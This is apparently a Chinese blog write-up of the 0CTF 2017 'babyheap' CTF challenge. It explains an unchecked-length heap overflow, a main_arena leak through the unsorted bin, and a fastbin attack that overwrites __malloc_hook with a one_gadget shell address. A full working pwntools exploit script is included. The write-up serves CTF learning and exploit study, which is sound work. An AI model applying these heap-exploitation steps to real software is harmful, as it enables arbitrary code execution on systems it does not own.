2017-0ctf-babyheap
fastbin attack + unsortedbin attack + __malloc_hook 的基础利用
题目下载 : https://uaf.io/assets/0ctfbabyheap
本题是2017 0ctf 很简单的一道题
先来看一下题目的基本信息
$ checksec babyheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
保护全开,是一个典型的菜单题,结合ida,先写下这几个函数
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
然后在ida中发现
__int64 __fastcall fill(__int64 a1)
{
...
printf("Index: ");
result = num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
...
他并没有对输入的长度做判断,我们可以从一个堆块溢出到另一个堆块上
我们也可以对堆块的大小做控制
- 通过unsortedbin attack 来leak出堆的地址
- 提前申请几个小堆块
- 利用第一个chunk的溢出,修改第二个chunk的size(大到能包括每三个chunk的fd)
- free第二个chunk,再申请回来
- 利用这个chunk 改大第三个chunk (free能后进unsortedbin )
- 通过第二个chunk读第三个chunk的fd(main_arena+88的地址)
- 通过 fastbin attack 控制 __malloc_hook
- free 掉提前申请的0x60大小的chunk
- 通过第一步的思路改被free的fd为 __malloc_hook
- 把__malloc_hook 改为
- 调用calloc 去执行 one_gadget
1. 通过unsortedbin attack 来leak出堆的地址
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
free(2)的时候我没有去控制 unsortedbin 会检查到下一个chunk 我把idx2->size改为0x91后,下一个chunk正好是idx4 ,上面申请的5个内存的大小是我精心构造的
完整exp如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------
libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))
payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode)
alloc(1)
p.sendline('bash')
p.interactive()
我们需要在 __malloc_hook 写一个函数地址,用来getshell
0x4526a这个偏移里写的是这东西:
<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>
这个位置是怎么找到的? 分享一个小工具: https://github.com/david942j/one_gadget.git
$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
$
这4个地址一个一个的试去吧!骚年!
2017-0ctf-babyheap的更多相关文章
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- 0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- CI Weekly #10 | 2017 DevOps 趋势预测
2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...
- 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS
一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...
- iOS的ATS配置 - 2017年前ATS规定的适配
苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...
- 深入研究Visual studio 2017 RC新特性
在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...
- Xamarin+Prism开发详解三:Visual studio 2017 RC初体验
Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...
- Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo
目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...
随机推荐
- win10将mongodb加入系统服务,官方源码报错问题记录
进入C:\Program Files\MongoDB\Server\3.6目录下 1.编写配置文件mongodb.cfg: dbpath=D:\MongoDB\data\db #数据库路径 logpa ...
- 开发规范总结-java代码
java8新特性: 开发的时候适当用一些新特性的语法,可以使代码更简洁.譬如List根据某个属性转map.stream.函数式编程.lambda表达式 有一种场景:两个list一个转map 两个lis ...
- 清北学堂北京大学吴耀轩神仙讲课day5摘要
今天讲图论 图是啥?(白纸上的符号?) 对于一个拥有n个顶点的无向连通图,它的边数一定多于n-1条.若从中选择n-1条边,使得无向图仍然连通,则由n个顶点及这 n-1条边(弧)组成的图被称为原无向图的 ...
- 【HDU2089】不要62
题目大意:求区间 [n,m] 中数位不包含 4 和 62 的数字的个数. 题解:数位dp. 预处理出 \(f[i][j]\) 表示 i 位数字中以 j 为第一位的满足条件的数字个数. 对于统计答案来说 ...
- python之同步IO和异步IO
linux操作系统基础知识 用户空间和内核空间 操作系统的核心是内核,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的所有权限.为了保证用户进程不能直接操作内核保证内核的安全,操 ...
- EM算法理解的九层境界
EM算法理解的九层境界 EM 就是 E + M EM 是一种局部下限构造 K-Means是一种Hard EM算法 从EM 到 广义EM 广义EM的一个特例是VBEM 广义EM的另一个特例是WS算法 广 ...
- requests中text,content,json之间的区别
response.text : 返回一个字符串\n",content : 返回二进制\n",json() : 返回对象"
- gitlab docker中postgresql远程访问配置
1.配置postgresql远程访问 配置postgresql远程访问,需要修改两个文件,在gitlab-ce的docker中位置为 /var/opt/gitlab/postgresql/data 首 ...
- 23.二叉搜索树的后序遍历(python)
题目描述 输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果.如果是则输出Yes,否则输出No.假设输入的数组的任意两个数字都互不相同. 这道题特别傻的地方: 当输入sequence为空时 ...
- 3828. 三角形计数 3829. ZCC loves Isaac 3830. 字符消除
3828 给定n个点的坐标(0<=xi,yi<=10000)求选出任意三个点能组成的三角形的总面积. 题解 太naive了 枚举三角形的y最小的点,把剩余的点按角度排序 然后随便算,可以用 ...